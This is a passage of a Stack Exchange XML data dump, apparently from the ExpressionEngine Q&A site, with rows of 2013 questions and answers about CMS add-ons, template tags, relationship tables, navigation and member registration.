parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single&#xA;    var=&quot;lv_nav&quot;&#xA;    preparse:transcribe:language_abbreviation=&quot;{transcribe:language_abbreviation}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, you can leave the LV content as is.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-01-04T08:39:52.613" LastActivityDate="2013-01-04T08:39:52.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2299" PostTypeId="1" AcceptedAnswerId="2400" CreationDate="2013-01-04T10:55:27.570" Score="3" ViewCount="141" Body="&lt;p&gt;Hi all I have been working with the ExpressionEngine Datagrab library by Andrew Weaver for a while now. The library was working perfectly on our first server but then a client purchased a new server and since moving to a new server and domain. Having moved to the new server with the exact same configuration and codebase the library has stopped working. I have been tearing my hair out looking for solutions. I've done some digging and found that the code seems to break down to a certain extent at its &lt;strong&gt;do_import()&lt;/strong&gt; function at this line: &lt;strong&gt;while( $item = $datatype-&gt;next() ) {&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason seems to be that the &lt;strong&gt;-&gt;next()&lt;/strong&gt; property is not accessible. I have tried using &lt;strong&gt;print_r()&lt;/strong&gt; on &lt;strong&gt;$datatype&lt;/strong&gt; and it prints out a tonne of information, however using &lt;strong&gt;print_r()&lt;/strong&gt; on &lt;strong&gt;$datatype-&gt;next()&lt;/strong&gt; no info is printed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously as it is a paid library I can not post the entire code for the project but I am becoming desparate at this point to find a solution as my deadline is right around the corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gone as far as to uninstall and reinstall Datagrab but the issue persists. It's important that I stress that nothing else has stopped working on the new server, just this library and the exact same codebase is still fully functional on the old server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THe PHP versions are the same on both servers also so it shouldn't be anything to do with that. THe only other issue which I had considered to be potentially problematic is that the new site is running from a subdomain at the client's request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="695" LastEditorUserId="28" LastEditDate="2013-01-05T03:36:24.127" LastActivityDate="2013-01-07T16:26:55.917" Title="Datagrab Issue: Moved to new server and the library has stopped working" Tags="|import|datagrab|csv|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2300" PostTypeId="1" AcceptedAnswerId="2304" CreationDate="2013-01-04T12:18:07.030" Score="4" ViewCount="289" Body="&lt;p&gt;I'd like to manually populate the relationships table with some data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the structure of the exp_relationships table, which relates parent_entries to children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for a custom field set that has multiple relationships, I cannot see how EE ties the relationships to each custom relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like there was a handy wiki for this exact task linked from here which EL have removed in the recent reshuffle: &lt;a href=&quot;http://ellislab.com/forums/viewthread/165752/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/165752/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than populating the exp_relationships table, how can I relate those relationships to specific custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Oh man - I cannot believe I've been so stupid - of course the relationship ID is tied to the relevant CF column in exp_channel_data!&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditDate="2013-01-04T13:18:05.970" LastActivityDate="2013-01-04T18:02:11.230" Title="How to populate Relationships" Tags="|custom-fields|mysql|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2301" PostTypeId="2" ParentId="2297" CreationDate="2013-01-04T12:42:32.203" Score="1" Body="&lt;p&gt;We had a partially blind user for a client that had control panel access, primarily under ExpressionEngine 1, but a little with EE 2. We heard no complaints. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now understand, I can't tell you how well, the Control Panel worked for him. I can just state, of the products we needed to make adjustments to for him, ExpressionEngine wasn't one of them. I just looked up publishing stats for him, and he published 243 items into the system which consisted mostly of either long newsletters or short headline news briefs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there were products, outside of ExpressionEngine that we had to adapt for him. FileMaker Pro (FMP) being one of them. The desktop experience with FMP was not friendly for people with limited vision, but any database or data table could be made available on the web, and that was fully accessible for the visually impaired. We made the news and donor database web accessible for him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our experience with him and ExpressionEngine was pretty much, we provided our Quick Introduction Guide to the client's system as a PDF, then scheduled a telephone walk through, which is standard. He asked about a PC compatibility text editor, since the client was 98% Mac OS-based, but he wanted to continue using his pre-configured machine which was a Window's based laptop. Then, we never heard from him again, unless it was things like, 'I just published the January Newsletter and the photo from this event isn't displaying correctly.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish I could say more, but since he never seemed to have any problems, we never had time to interact with him around what's using EE like for the visual impaired. But at 243 posts, he used the system pretty frequently while he was on staff.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-04T14:47:27.193" LastActivityDate="2013-01-04T14:47:27.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2302" PostTypeId="1" AcceptedAnswerId="2407" CreationDate="2013-01-04T12:44:01.317" Score="2" ViewCount="107" Body="&lt;p&gt;Is there a way of linking a custom field to any entry of your website. I've found this add on &lt;a href=&quot;http://devot-ee.com/add-ons/entry-layout&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-layout&lt;/a&gt; but it's not compatible with matrix. Thanks Geoff&lt;/p&gt;&#xA;" OwnerUserId="704" LastActivityDate="2013-01-07T19:13:56.187" Title="linking a custom field to any entry of your website" Tags="|channel-entries|fields|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2303" PostTypeId="2" ParentId="2300" CreationDate="2013-01-04T13:21:40.027" Score="1" Body="&lt;p&gt;Oh man - I cannot believe I've been so stupid - of course the relationship ID is tied to the relevant CF column in exp_channel_data!&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2013-01-04T13:21:40.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2304" PostTypeId="2" ParentId="2300" CreationDate="2013-01-04T13:46:47.360" Score="5" Body="&lt;p&gt;I know you sorted this out, but for others who may wind up here looking for details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have an entry with an &lt;code&gt;entry_id&lt;/code&gt; of &lt;code&gt;10&lt;/code&gt;. That entry's channel has a Relationship field with a &lt;code&gt;field_id&lt;/code&gt; of &lt;code&gt;20&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While editing that entry, you choose a child entry from your Relationship field, which has an &lt;code&gt;entry_id&lt;/code&gt; of &lt;code&gt;50&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll end up with these values in your database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exp_relationships&lt;/strong&gt;&lt;br&gt;&#xA;&lt;code&gt;rel_id&lt;/code&gt;: 1 (incremental number generated each time a new relationship is created)&lt;br&gt;&#xA;&lt;code&gt;rel_parent_id&lt;/code&gt;: 10 (the entry you were editing)&lt;br&gt;&#xA;&lt;code&gt;rel_child_id&lt;/code&gt;: 50 (the entry you chose in the Relationship field)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exp_channel_data&lt;/strong&gt;&lt;br&gt;&#xA;&lt;code&gt;entry_id&lt;/code&gt;: 10 (the entry you were editing)&lt;br&gt;&#xA;&lt;code&gt;field_id_20&lt;/code&gt;: 1 (the &lt;code&gt;rel_id&lt;/code&gt; that was created above)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-04T18:02:11.230" LastActivityDate="2013-01-04T18:02:11.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2305" PostTypeId="1" CreationDate="2013-01-04T14:04:12.583" Score="2" ViewCount="212" Body="&lt;p&gt;I have an EE 1.7.3 with charset iso-8859-1. If i do the update all the umlauts in the browser show up as ?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I converted the data from the database (the whole database) 1.7.3 before the update to utf8. Now EE 2.5.5 cuts every string after an umlaut after the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find no way to change the contents of 1.7.3 showing up correctly without typing all the content new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody had this problem before?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="644" LastEditorUserId="55" LastEditDate="2013-01-04T14:09:02.153" LastActivityDate="2013-01-04T14:16:23.043" Title="Character encoding issues when upgrading EE 1.7.3 to EE 2.5.5" Tags="|ee2|ee1|update|character-encoding|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2306" PostTypeId="2" ParentId="2305" CreationDate="2013-01-04T14:16:23.043" Score="3" Body="&lt;p&gt;I don't have an exact answer, but I had a problem similar to this. I was using Navicat and MAMP and I had character set issues in my local set up. I wrote &lt;a href=&quot;https://supergeekery.com/geekblog/comments/mamp-and-navicat-and-character-set-hell&quot; rel=&quot;nofollow&quot;&gt;a blog post&lt;/a&gt; about it for my own reference because it tripped me up several times. Not sure if this helps your issue though.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2013-01-04T14:16:23.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2307" PostTypeId="1" AcceptedAnswerId="2319" CreationDate="2013-01-04T14:51:38.723" Score="2" ViewCount="925" Body="&lt;p&gt;I always end up with a custom addon for outputting the nav from Structure but for this project I was hoping to go all native .. it &lt;em&gt;should&lt;/em&gt; be pretty simple, after all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this Structure structure how could one output the menu to the right?:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/diBXA.png&quot; alt=&quot;Structure, structure.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nav tag won't cut it as it will always output the root. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav include_ul=&quot;no&quot; start_from=&quot;/&quot; max_depth=&quot;2&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:structure:nav}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;// NOTE: I do know about the Structure Entries plugin but AFAIK this will use {title} for the page titles which means it won't work inside a {exp:channel:entries} loop w/o using an embed.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-01-05T17:11:59.870" Title="Using Structure to output main menu when frontpage is the root?" Tags="|structure|navigation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2308" PostTypeId="2" ParentId="2307" CreationDate="2013-01-04T14:59:25.170" Score="5" Body="&lt;p&gt;You should be able to just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav include_ul=&quot;no&quot; start_from=&quot;forside&quot; max_depth=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can pick what page you want to start from, which in this case looks like &quot;forside&quot;.&lt;/p&gt;&#xA;" OwnerUserId="705" LastActivityDate="2013-01-04T14:59:25.170" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2310" PostTypeId="1" AcceptedAnswerId="5518" CreationDate="2013-01-04T15:37:46.790" Score="2" ViewCount="85" Body="&lt;p&gt;I am using the Solspace User for new registrations and want to allow new registrations the ability to upload large files in the user registration form.  I need to allow up to 6 large files, ie: 6 files up to 10mb each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about DevDemon's channel files as it allows for large uploads, but don't think it works with user registration forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other ideas to allow large file uploads in a User member registration form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the only other option is to create a second SAEF using Channel files and get a member to be fill out the second form after their registration. (not ideal for me)&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-01-29T09:19:31.810" Title="New member registrations with large file uploads" Tags="|members|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2311" PostTypeId="1" AcceptedAnswerId="3583" CreationDate="2013-01-04T15:40:43.800" Score="2" ViewCount="116" Body="&lt;p&gt;I am in need of a voting solution for one of my clients that will give members UP TO four votes, and no more. I have looked over the usual polling modules on devot:ee and all of them either allow for single votes or multiple votes, but not up to a specified number of votes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that I can use one of these polling add-ons, I will limit voting to a single vote per member, but I will then need the ability to allow users to register an additional three members, and NO MORE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I allow a member to register a limited number of other members?&lt;/p&gt;&#xA;" OwnerUserId="706" LastEditorUserId="706" LastEditDate="2013-01-04T19:00:37.230" LastActivityDate="2013-01-10T20:59:40.777" Title="How can I allow a member to register a limited number of other members?" Tags="|members|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2312" PostTypeId="2" ParentId="954" CreationDate="2013-01-04T15:44:14.597" Score="2" Body="&lt;p&gt;Structure has a bunch of really useful global variables, which would make this even easier than using Stash or anything else really. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;/assets/css/{structure:page:channel}.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if the channel name is not a 1:1 relationship...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if structure:page:channel == &quot;blue&quot;}&amp;lt;link href=&quot;/assets/css/the-blue.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="705" LastActivityDate="2013-01-04T15:44:14.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2314" PostTypeId="1" CreationDate="2013-01-04T16:29:01.787" Score="3" ViewCount="129" Body="&lt;p&gt;Just to be clear about my configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Start (user makes selection)&#xA;2) Destination (I need to display the user's choice)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start (user makes selection)&#xA;Template: {site_url}my_test_channel/Start&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_test_channel&quot;} &#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot;  input:my_input_name1=&quot;My_input_name1&quot;  input:my_input_name2=&quot;My_input_name2&quot;}&#xA;&#xA;                  &amp;lt;select id=&quot;my_input_name1&quot; name=&quot;my_input_name1&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;option1&quot; selected=&quot;selected&quot;&amp;gt; option1 &amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;option2&quot;&amp;gt; option2 &amp;lt;/option&amp;gt;&#xA;                  &amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;                  &amp;lt;select id=&quot;my_input_name2&quot; name=&quot;my_input_name2&quot;&amp;gt;&#xA;                        &amp;lt;option value=&quot;option1&quot; selected=&quot;selected&quot;&amp;gt; option1 &amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;option2&quot;&amp;gt; option2 &amp;lt;/option&amp;gt;&#xA;                  &amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;a href=&quot;{site_url}my_test_channel/Destination&quot;&amp;gt;SEND-INFO-TO-DESTINATION&amp;lt;/a&amp;gt;&#xA;&#xA;    {/exp:store:product}    &#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the Destination template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_test_channel&quot;} &#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot;  input:my_input_name1=&quot;My_input_name1&quot;  input:my_input_name2=&quot;My_input_name2&quot;}&#xA;&#xA;    User chioice1:  {product_details:my_input_name1}&#xA;&#xA;    User chioice2:  {product_details:my_input_name2}&#xA;&#xA;&#xA;    {/exp:store:product}    &#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I save the values selected on the first page, ad then display them on the second page?&lt;/p&gt;&#xA;" OwnerUserId="707" LastEditorUserId="55" LastEditDate="2013-01-04T18:17:16.720" LastActivityDate="2013-01-17T19:54:52.617" Title="Expresso Store: pass value from one page to another one" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2315" PostTypeId="2" ParentId="2311" CreationDate="2013-01-04T16:41:44.373" Score="1" Body="&lt;p&gt;If you search through Devot:ee you will find several results for &lt;a href=&quot;http://devot-ee.com/search/results?keywords=poll&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;polling addons&lt;/a&gt;. I haven't used any of them so cannot actually help out with the other part of your question.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-01-04T16:41:44.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2316" PostTypeId="2" ParentId="2310" CreationDate="2013-01-04T18:00:36.660" Score="3" Body="&lt;p&gt;What about using one of the Channel/Member linking add-ons, such as &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;? That way you combine member registration and creation of a linked channel entry (and hence the ability to have custom upload fields for each member).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-04T18:00:36.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2317" PostTypeId="2" ParentId="2311" CreationDate="2013-01-04T18:02:21.447" Score="2" Body="&lt;p&gt;For your original question, I can't say of any add-ons that I know that allow you to limit by number of votes. It's generally one or multiple, but some allow you to specify one vote per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, &lt;em&gt;I don't think the question you asked is correct&lt;/em&gt;, and should possibly &lt;em&gt;be edited&lt;/em&gt;. The question as asked, is looking to limit the number of votes &lt;strong&gt;per&lt;/strong&gt; member, so 4 votes per each member. But that isn't what you are actually looking to do. It seems as if you actually want, 1 vote per member, but if the member is part of a band, only 4 members have voting privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit different of an issue. Because it's either about:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Restricting Number of Band Members- as you mentioned above; or&lt;/li&gt;&#xA;&lt;li&gt;Assigning Voting Privileges to Only Some Band Members&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Personally, I like the idea of number two, assigning voting privileges, better than restricting number of band members. Because really, if a band has eight people/members, then their listing should probably list 8 members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The easiest way, I can think of&lt;/strong&gt; in restricting voting privileges is to have the band decide. Assuming that each band has one primary admin— the person who may register other band members, update band profile, and do whatever else your site allows them to do (it could simple just be tied to the member who creates the band account), that individual can select which members would vote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how you create band profiles, yet. But let's assume, an individual joins the music association. The register, create their basic profile, and then at some stage they are offered to create a profile for their band. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's then also assume that you are storing member data within channels and &lt;strong&gt;NOT&lt;/strong&gt; just in EE's default membership module (a number of add-ons allow for this) and band profiles are stored in another data channel. You can then relate members to bands, using Playa or the Relationship module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up you would need at least &lt;em&gt;two basic components&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Someone or Something to Assign Voting Privileges; and&lt;/li&gt;&#xA;&lt;li&gt;A Method to Show/Hide Vote Option on Poll based on Voting Privileges.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can get fancier, but I'm just thinking out loud here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's further assume, that you're &lt;strong&gt;NOT&lt;/strong&gt; going to create a plugin to randomly assign voting privileges to band members (that would be cool, but let's say it's not on your agenda). Then, you'd probably want: a custom field in member profile called member_type: individual, duo, band (or whatever your options). Another custom_field to establish their assignment type: admin (can administer band profile and voting privileges) or member. Then also the custom field '{can_vote}'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of the members have access to the backend control panel, meaning you are giving them editing privileges via SafeCracker forms, then this is much easier to control. You can check to see if the currently logged_in member is a band admin, before displaying the option to assign voting privileges and a list of band members. You'd probably need javascript to check that only 4 records where modified to give them voting privileges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My javascript skills are minimal, so can't help you there. But it should be doable. Basically, the javascript would enforce the 4 limit, not allowing the update to be submit unless 4 or fewer band members were selected for the privilege.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the same works with the poll. It would be viewable to all, but you'd ONLY show the vote/submit button if the person is currently logged_in and has voting privileges. I suppose you could also show to all, and have javascript do a quick query on click to see if they are logged in and have voting privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are my initial thoughts.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-04T18:02:21.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2318" PostTypeId="1" CreationDate="2013-01-04T18:29:16.247" Score="4" ViewCount="124" Body="&lt;p&gt;So I'm trying to assign a class via {category_url_title} inside of a {exp:geofinder:location_results} tag. The problem is now I have 2 loops. I tried several things like using {categories} tag pair by itself in the geofinder tag as well as a tagpair inside of a channel:entries tag. However, I still get similar, incorrect results. Chris Barrett/Mighty Big Robot doesn't seem to be offering much support on their site lately so I thought I would try here. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:geofinder:location_results &#xA;channel=&quot;business&quot; &#xA;status=&quot;not closed&quot; &#xA;geoquery=&quot;{embed:address}&quot; &#xA;radius=&quot;{embed:radius}&quot; &#xA;latitude=&quot;{business_lat}&quot; &#xA;longitude=&quot;{business_lng}&quot; &#xA;distance_mode=&quot;miles&quot; &#xA;limit=&quot;10&quot;&#xA;}&#xA;&#xA;    {exp:channel:categories &#xA;    entry_id=&quot;{entry_id}&quot; &#xA;    show_empty=&quot;no&quot; &#xA;    channel=&quot;business&quot; &#xA;    status=&quot;not closed&quot;&#xA;    limit=&quot;1&quot;&#xA;&#xA;    }&#xA;&#xA;        &amp;lt;a href=&quot;/businesses/{url_title}&quot; class=&quot;{category_url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&#xA;    {/exp:channel:categories}&#xA;&#xA;{/exp:geofinder:location_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NIXONMEDIA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NIXONMEDIA &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TJ ROCKWELLS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TJ ROCKWELLS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LUCKY DUCKS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LUCKY DUCKS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="708" LastActivityDate="2013-01-07T15:04:14.633" Title="EE GeoFinder plus EE Categories" Tags="|ee2|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2319" PostTypeId="2" ParentId="2307" CreationDate="2013-01-04T18:49:30.357" Score="1" Body="&lt;p&gt;I have done something similar but I think it won’t work in Structure 3.3.7 and later (&lt;a href=&quot;http://buildwithstructure.com/changelog&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;[Feature] Fix for nesting pages under “Home” (url of “/”). No longer allowed.&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s assume your home page has the entry_id 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    fixed_order=&quot;{exp:structure:child_ids entry_id='1'}&quot;&#xA;    parse=&quot;inward&quot;&#xA;    }&#xA;    &amp;lt;li{if &quot;{page_url}&quot; == &quot;{structure:page:url}&quot;} class=&quot;active&quot;{/if}&amp;gt;&#xA;        &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should work up to Structure 3.3.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://buildwithstructure.com/files/docs/ee1/Pages/tags.html#tag_child_ids&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:structure:child_ids}&lt;/code&gt;&lt;/a&gt; is not documented in the &lt;a href=&quot;http://buildwithstructure.com/tags&quot; rel=&quot;nofollow&quot;&gt;current Structure documentation&lt;/a&gt; but you can find it in the &lt;a href=&quot;http://buildwithstructure.com/files/docs/ee1/Pages/tags.html#tag_child_ids&quot; rel=&quot;nofollow&quot;&gt;EE1 Structure docs&lt;/a&gt; and Travis (or Jack?) assured me that it won’t be gone anytime soon. It looks like you can use &lt;a href=&quot;http://buildwithstructure.com/tags#tag_global_variables&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{structure:child_ids_for:XXX}&lt;/code&gt;&lt;/a&gt; since Structure 3.3.5. But I have not tried it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To output the menu in a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop I would use &lt;a href=&quot;http://devot-ee.com/add-ons/more-entries&quot; rel=&quot;nofollow&quot;&gt;More Entries&lt;/a&gt; plugin or &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; (of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried it, but it seems like you can use &lt;a href=&quot;http://buildwithstructure.com/tags#tag_entries&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:structure:entries}&lt;/code&gt;&lt;/a&gt; tag instead of &lt;code&gt;{exp:channel:entries}&lt;/code&gt; since Structure 3.3.7. Too bad nesting pages under “Home” is not allowed since the same version. :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May be &lt;a href=&quot;https://structure.tenderapp.com/discussions/problems/2519-display-sub-pages-of-home-page&quot; rel=&quot;nofollow&quot;&gt;this thread in Structure’s support forum&lt;/a&gt; could be helpful too. &lt;/p&gt;&#xA;" OwnerUserId="201" LastEditorUserId="201" LastEditDate="2013-01-05T16:06:01.757" LastActivityDate="2013-01-05T16:06:01.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2323" PostTypeId="1" AcceptedAnswerId="2325" CreationDate="2013-01-04T20:17:00.677" Score="0" ViewCount="115" Body="&lt;p&gt;When a member registers on my site, I want them to first verify their email address before they can log in the site. Right now, when a member registers, they are automatically logged in. Is there a way to prevent this? I don't see any option for this in Members Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: I'm using Safecracker Registration and Membrr, too. Not sure if this matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clarification: the members are being logged in PRIOR to them verifying their email. The system is already set up in such a way that the user needs to verify their email address first. The problem is that their instantly logged in when they sign up (without having to click the activation link in their email).&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="150" LastEditDate="2013-01-05T04:56:59.797" LastActivityDate="2013-01-05T04:56:59.797" Title="Safecracker Registration: Prevent auto-log in of member on register" Tags="|members|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
